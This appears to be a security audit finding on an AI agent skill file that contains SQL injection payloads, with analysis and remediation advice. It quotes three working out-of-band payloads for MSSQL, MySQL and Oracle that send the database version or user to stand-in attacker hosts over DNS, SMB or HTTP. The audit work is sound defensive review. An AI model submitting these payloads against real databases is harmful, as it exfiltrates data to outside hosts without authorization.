other
Error
- Location
- SKILL.md:137
- Finding
- Out-of-Band Exfiltration of Database Information to Attacker-Controlled Hosts<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md`, lines 137–147 **Vulnerability Type**: Out-of-band sensitive-data exfiltration **Risk Level**: Critical ### Vulnerable Code ```sql ### Out-of-Band (OOB) ```sql -- MSSQL DNS exfiltration 1; EXEC master..xp_dirtree '\\attacker-server.com\share'-- -- MySQL DNS 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))-- -- Oracle HTTP 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual-- ``` ``` ### Technical Analysis The Skill provides executable SQL injection payloads that instruct a vulnerable database server to communicate with attacker-controlled network endpoints: - The MSSQL payload invokes `xp_dirtree` against a remote UNC path, causing an outbound DNS and potentially SMB connection. - The MySQL payload places `@@version` into an attacker-controlled hostname, disclosing database metadata through DNS resolution. - The Oracle payload uses `UTL_HTTP.REQUEST` to transmit the current database user to an external HTTP server. These operations exceed the minimum privileges needed for ordinary SQL injection detection or defense validation. Vulnerability confirmation can instead use non-networked boolean, error-based, or bounded time-based tests. Although the Skill states that authorization is required, the payloads themselves do not enforce target scope, callback ownership, data minimization, or outbound-network restrictions. Successful exploitation depends on an injectable query, applicable database functionality and permissions, and outbound network access from the database environment. ### Attack Path 1. An operator loads the Skill and identifies an injectable URL parameter, form field, cookie, or HTTP header. 2. The operator selects the OOB payload matching the target database. 3. The payload is submitted through the injectable input. 4. The application incorporates the input into a database query without safe parameterization. 5. T ...[truncated 1141 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the OOB DNS, SMB, and HTTP exfiltration payloads from the Skill. 2. Replace them with non-networked validation methods, such as: - Boolean true/false response comparisons. - Harmless syntax-error probes. - Bounded time-delay tests performed only in approved non-production environments. 3. If OOB testing is operationally necessary: - Require explicit written approval for OOB testing in the engagement scope. - Permit callbacks only to an organization-owned, engagement-specific domain. - Prohibit embedding credentials, personal data, secrets, or production records in callback values. - Use synthetic canary identifiers rather than database-derived information. - Log every callback and associate it with an approved test case. 4. Restrict database-server egress: - Deny outbound SMB to untrusted networks. - Allow DNS only through approved resolvers. - Restrict outbound HTTP and HTTPS with firewall or proxy policies. 5. Apply database least privilege: - Disable or restrict MSSQL extended procedures such as `xp_dirtree` where unnecessary. - Restrict MySQL file privileges and file-access functions. - Revoke unnecessary Oracle network ACL access and `UTL_HTTP` execution rights. 6. Retain the existing authorization warnings but add enforceable preconditions covering target ownership, environment, callback infrastructure, data handling, and stop conditions. ]]>
